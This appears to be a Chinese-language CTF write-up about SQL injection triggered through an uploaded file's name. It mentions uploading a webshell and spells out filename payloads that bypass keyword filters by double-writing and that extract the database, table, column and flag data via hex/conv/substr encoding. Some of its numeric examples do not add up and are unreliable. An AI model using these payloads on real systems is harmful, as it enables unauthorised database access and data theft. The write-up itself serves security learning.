SQL注入已經在前一章為大家介紹了個大概,本文將講述我遇到的本以為是文件上傳漏洞,卻是以文件名觸發的SQL注入!
本文分享的內容同樣來自於一道CTF題!
1. 直接進入正題
(1) 初步探測
先看一下主頁面(題目需要注冊登錄,這里直接跳過了)
就這個頁面,我不知道你看到的時候會怎么認為,我的第一想法就是他一定是一個文件上傳漏洞拿flag。於是我開始了我得上傳之旅,一開始還是有一些欣喜,覺得超簡單的一道題:文件上傳拿shell就完事了。於是通過burp抓包,修改請求頭,成功的將小馬上傳到了服務器(這里不多解釋,文件上傳以后再和大家分享)。卻發現根本無法獲得文件所在路徑,也就是只能上傳,卻無法利用。
小結:當思考網站是否為文件上傳漏洞時,不僅僅要考慮是否能上傳木馬文件,還要考慮文件被上傳到服務器以后,文件所在的位置,也就是能否被利用。(本題大牛應該直接就能發現不是文件上傳,因為根本無法獲得上傳文件所在路徑)
(2)嘗試進行SQL注入
沒辦法只能繼續尋找漏洞所在,再來看一下上傳了幾個文件之后的網站:
在頁面(上圖)中可以清楚地看到已經上傳的文件(名)。這說明文件被上傳到了數據庫中,同時瀏覽器從數據庫中讀取了上傳的文件,那么這個過程就有可能觸發SQL注入。於是在文件名中先嘗試輸入select database() 命令(我認為現在沒必要直接去探測數據庫邏輯,構造可執行的SQL語句,不過你也可以直接構造能在服務器可SQL語句格式)並上傳。
你會發現當文件名為select database().jpg的時候,輸出的文件名為database().jpg。而當輸入文件名為aaa database().jpg時,輸出的文件名也為aaa database().jpg。那么就可判斷,服務器將select過濾了,然后在嘗試其他命令,發現from也被過濾掉了。(select database()是暴數據庫名的一種方式)
(3)嘗試繞過
既然服務器將select命令過濾掉了,那說名一定有貓膩,那么就嘗試繞過。
首先嘗試解決select和from被過濾的問題,我嘗試了編碼方式,發現服務器返回信息沒有解碼,這說明編碼后在數據庫中不能將其轉變成命令執行,因此不可行。然后嘗雙寫(也是一種常見的繞過方式)。驚喜的發現selselectect可以成功繞過。同樣frfromom也能成功繞過。
由以上得出結論服務器可能存在SQL注入。(因為在文件名中過濾掉了select 和from兩個常用SQL命令,並成功繞過了過濾)
2. 確定文件名觸發SQL注入
解決了過濾,我盟來構造一下能夠被數據庫執行的SQL語句,
(1) 猜測服務器通過命令:insert into 表名('filename',...) values('你上傳的文件名',...);來將數據存儲到數據庫。
(2) 構造語句:'+(selselectect database())+' 。
(3) 拼接后的sql語句為:insert into 表名('filename',...) values('文件名'+(selselectect cdatabase())+'.jpg',...);
因此嘗試 1'+(selselectect database())+'.jpg 。服務器返回0,說明SQL語句被執行了,但無法輸出執行結果。
3. 開始操作
首先考慮是返回數據時數據被過濾掉了,嘗試改為輸出十六進制,'+(selselectect hex(database()))+'.jpg 。服務器返回" 7765625 "。
7765625解碼為" web "。(貌似成功注入)這里我當時也是信誓旦旦的以為完成了,可以進一步猜表猜字段了。
但是要注意的是本題還設置了一種截斷,即:插入數據庫文件名中如果包括SQL語句,那么在返回信息時,服務器將對字母進行截斷(某些特殊字符也會截斷或過濾)。這是一個很大的坑,但是如果你經驗豐富可能很容易發現這個截斷,判斷依據如下:
因為當你構造的文件名為 '+(selselectect hex(database()))+'.jpg 。服務器返回" 7765625 "。而輸入 111'+(selselectect hex(database()))+'.jpg 時,返回的信息為765736 (=7765625+111)。
但輸入 a111'+(selselectect hex(database()))+'.jpg 時,仍返回7765625。
因此即可以說明命令:1'+(selselectect hex(database()))+'.jpg的返回值為什么為0(因為返回數據是字符,不是數值,因此只能返回0)。也可以判斷服務器進行了字符(英文字母等)截斷。
解決辦法是:嘗試其他進制表示。二進制表示失敗(可能是服務器設置問題,我也沒咋弄清楚為啥二進制返回0)。於是使用conv命令,將16進制轉換為10進制:CONV(N,from_base,to_base) N是要轉換的數據,from_base是原進制,to_base是目標進制。
(1) 構造命令:'+(selselectect conv(hex(database()),16,10))+'.jpg 。返回一個帶小數點的數值。
這是因為返回值太大,系統使用科學計數法(xx e xxxxx)表示,因此使用substr做長度限制。substr(str,pos,len) str字符串,從pos開始的位置,截取len個字符(空白也算字符)。
(2) 構造命令:'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg ,(經過不斷測試發現長度最大為12,長度大於12返回值就會以科學計數法表示)返回10進制數:131277325825392 轉化為16進制為7765625f7570,轉換成字符:web_up(Unicode編碼:12個字節相當於6個字符)
構造命令'+(selselectect conv(substr(hex(database()),13,25),16,10))+ '.jpg ,返回10進制數:1819238756 轉化為16進制為6c6f6164,轉換成字符:load
得到數據庫名:web_upload
(3) 得到數據庫名,那么就可以猜表名了。
構造命令: '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
'+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
通過改變substr的參數,最后將得到的字符連接得到表名:hello_flag_is_here
(4) 得到表名,那么猜字段。
構造命令: '+(seleselectect+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
通過改變substr的參數,最后將得到的字符連接得到字段:i_am_flag
(5) CTF的宗旨,可以拿flag了。
構造命令: '+(selselectect+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
通過改變substr的參數,最后將得到的字符連接得到flag。 拿到flag,注入完成。
具體暴庫過程,可參考上一篇文章
4. 總結
知識點:
文件上傳,不僅要注意是否能上傳,還要考慮文件位置。文件是否能夠被利用。
與數據庫交互並回顯,有可能觸發SQL注入。
SQL語句重寫繞過。
SQL語句的巧妙構造。
編碼轉換的巧妙運用。
本文供安全人員參考。以上是小白給大家的經驗分享,望大佬們多多指教 Thank You !